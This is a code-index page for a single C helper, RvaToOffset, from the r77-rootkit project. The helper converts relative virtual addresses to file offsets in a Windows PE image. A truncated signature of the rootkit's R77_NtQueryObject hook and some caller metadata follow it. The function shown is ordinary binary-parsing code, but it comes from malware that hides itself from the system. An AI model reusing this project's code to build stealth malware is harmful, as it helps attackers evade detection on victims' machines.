MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / RvaToOffset

Function RvaToOffset

r77api/r77win.c:903–924  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

901 return 0;
902}
903DWORD RvaToOffset(LPBYTE image, DWORD rva)
904{
905 PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
906 PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader);
907
908 if (rva < sections[0].PointerToRawData)
909 {
910 return rva;
911 }
912 else
913 {
914 for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
915 {
916 if (rva >= sections[i].VirtualAddress && rva < sections[i].VirtualAddress + sections[i].SizeOfRawData)
917 {
918 return rva - sections[i].VirtualAddress + sections[i].PointerToRawData;
919 }
920 }
921
922 return 0;
923 }
924}
925
926NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength)
927{

Callers 2

GetExecutableFunctionMethod · 0.85
GetExecutableFunctionFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected